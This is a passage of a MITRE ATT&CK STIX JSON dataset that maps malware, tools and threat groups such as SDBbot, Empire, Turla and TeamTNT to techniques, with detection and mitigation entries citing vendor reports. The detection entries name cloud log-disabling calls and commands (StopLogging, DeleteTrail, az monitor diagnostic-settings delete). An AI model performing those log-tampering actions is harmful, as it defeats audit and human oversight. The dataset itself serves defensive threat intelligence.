"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f252d0e6-019a-4711-9069-c16930236aa4", "type": "relationship", "created": "2020-06-01T13:14:42.536Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-01T13:14:42.536Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f25505f6-dbd0-4d7b-8e8c-b3885f206cbf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github Koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", "url": "https://github.com/zerosum0x0/koadic"}], "modified": "2020-03-16T16:55:04.386Z", "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.(Citation: Github Koadic)", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f25b9b24-7c42-42b2-941f-6cb8653043c9", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs", "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.", "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"}, {"source_name": "Configuring Data Access audit logs", "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.", "url": "https://cloud.google.com/logging/docs/audit/configure-data-access"}, {"source_name": "az monitor diagnostic-settings", "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.", "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-04T12:44:14.943Z", "description": "Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code>, <code>UpdateTrail</code> <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code> and <code>google.logging.v2.ConfigServiceV2.DeleteSink</code>.(Citation: Configuring Data Access audit logs) In Azure, monitor for <code>az monitor diagnostic-settings update</code> and <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd", "target_ref": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f2621533-86be-48f1-855f-36624f9e6064", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T22:08:34.858Z", "description": "Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on changes to COM registry keys, including HKCU\\Software\\Classes\\CLSID\\*.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f264330f-3c9f-4a2a-a6f6-904a9139bbf5", "type": "relationship", "created": "2020-06-24T19:26:00.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}, {"source_name": "ESET Casbaneiro Oct 2019", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}], "modified": "2021-09-27T17:42:19.892Z", "description": "Upon execution, [Metamorfo](https://attack.mitre.org/software/S0455) has unzipped itself after being downloaded to the system and has performed string decryption.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f26c53f1-b346-4301-9951-22ffd96ee762", "type": "relationship", "created": "2019-03-11T19:24:08.123Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.520Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can persist by modifying a .LNK file to include a backdoor.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f26e1997-733e-4c3c-ac26-294048466c52", "type": "relationship", "created": "2019-04-17T13:46:38.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "source_name": "Cofense Astaroth Sept 2018"}], "modified": "2020-03-16T23:32:21.496Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects data in a plaintext file named r1.log before exfiltration. (Citation: Cofense Astaroth Sept 2018)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f278e83c-f93e-403d-a088-30c4d9d3f984", "type": "relationship", "created": "2020-09-11T14:56:37.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T14:56:37.193Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) has come with a packed payload.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f27f75b5-824d-43c9-a029-247d7d44ec8f", "type": "relationship", "created": "2022-03-25T00:25:48.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Security Affairs SILENTTRINITY July 2019", "url": "https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html", "description": "Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022."}], "modified": "2022-03-25T00:25:48.843Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can determine if an anti-virus product is installed through the resolution of the service's virtual SID.(Citation: Security Affairs SILENTTRINITY July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2810da3-1a6f-4c48-826d-929bde7f7af3", "type": "relationship", "created": "2020-05-21T21:31:34.107Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-05-21T21:31:34.107Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has used scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f283735e-e339-40c7-ba49-30f8d81878e8", "created": "2023-09-08T20:27:14.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T20:58:38.089Z", "description": "Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f283af63-1fdf-49d3-8a56-304c5be07a83", "type": "relationship", "created": "2020-06-08T18:06:36.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-08T18:06:36.376Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal data from the clipboard of an infected host.(Citation: Kaspersky TajMahal April 2019)\n", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7", "type": "relationship", "created": "2017-05-31T21:33:27.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/winnti-more-than-just-a-game/37029/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", "source_name": "Kaspersky Winnti April 2013"}], "modified": "2019-03-25T17:15:03.466Z", "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used stolen certificates to sign its malware.(Citation: Kaspersky Winnti April 2013)", "relationship_type": "uses", "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f28bd1ce-178d-4a02-aa13-3f70319e1f3a", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f291084b-a84d-452f-bd1d-d89257c7e8c2", "created": "2024-02-22T21:58:47.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. 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Retrieved August 2, 2022.", "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-21T20:32:29.699Z", "description": "Monitor certificate-based authentication events, such as EID 4768 when an AD CS certificate is used for Kerberos authentication (especially those that don\u2019t correspond to legitimately issued certificates) or when Secure Channel (`Schannel`, associated with SSL/TLS) is highlighted as the `Logon Process` associated with an EID 4624 logon event.(Citation: SpecterOps Certified Pre Owned)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2e028ed-49e0-41ec-8400-8f8dc1ae6435", "type": "relationship", "created": "2021-04-20T19:17:12.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2021-04-20T19:17:12.825Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has staged tools, including [gsecdump](https://attack.mitre.org/software/S0008) and WCE, on previously compromised websites.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2e075b3-1125-4259-bf0b-1ff90c738354", "type": "relationship", "created": "2021-03-19T21:04:00.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}], "modified": "2021-03-19T21:04:00.991Z", "description": "[TA551](https://attack.mitre.org/groups/G0127) has masked malware DLLs as dat and jpg files.(Citation: Unit 42 TA551 Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2e9a182-dc12-42f1-80fe-60ceea01784d", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2f155f1-5152-4681-9c0b-b4a01968fa2e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Catchamas April 2018", "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}], "modified": "2020-03-16T16:28:16.100Z", "description": "[Catchamas](https://attack.mitre.org/software/S0261) captures screenshots based on specific keywords in the window\u2019s title.(Citation: Symantec Catchamas April 2018)", "relationship_type": "uses", "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f2f3bc50-78d0-490f-a91a-c0df35f68891", "created": "2024-03-01T18:46:31.344Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}, {"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:23:42.555Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors leveraged tools including Interactsh to identify vulnerable targets, PySoxy to simultaneously dispatch traffic between multiple endpoints, BusyBox to enable post exploitation activities, and Kubo Injector to inject shared objects into process memory.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2f68eb7-4110-4750-9d1c-58774036672b", "type": "relationship", "created": "2020-03-02T19:05:18.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T17:39:13.418Z", "description": "Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f2f8d56c-4a10-4be4-884d-7982931bd303", "created": "2021-10-01T01:57:31.887Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has developed custom malware such as [Hildegard](https://attack.mitre.org/software/S0601).(Citation: Unit 42 Hildegard Malware)", "modified": "2022-04-14T21:05:11.831Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2f93fbb-2164-4de7-9d0b-24ad93caf7f2", "type": "relationship", "created": "2020-12-17T16:16:08.548Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Cicada November 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}], "modified": "2020-12-28T15:29:54.586Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Csvde tool to collect Active Directory files and data.(Citation: Symantec Cicada November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2fd105e-f481-486a-97b6-d5ef3324a787", "type": "relationship", "created": "2020-02-20T14:34:08.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Ready.gov IT DRP", "url": "https://www.ready.gov/business/implementation/IT", "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}], "modified": "2022-03-25T19:34:42.047Z", "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", "relationship_type": "mitigates", "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", "target_ref": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f304b74c-85c7-4bd6-85bc-bec918a4fb7e", "type": "relationship", "created": "2019-04-19T12:37:34.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 DarkHydrus Jan 2019", "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}], "modified": "2019-04-24T23:55:43.447Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) decodes an embedded executable using base64 and decompresses it.(Citation: Unit42 DarkHydrus Jan 2019)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f3055d9f-986e-4202-bb13-c956069bb43f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2020-03-20T15:43:40.930Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has also used [PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-ReflectivePEInjection.ps1</code> to reflectively load a PowerShell payload into a random process on the victim system.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, 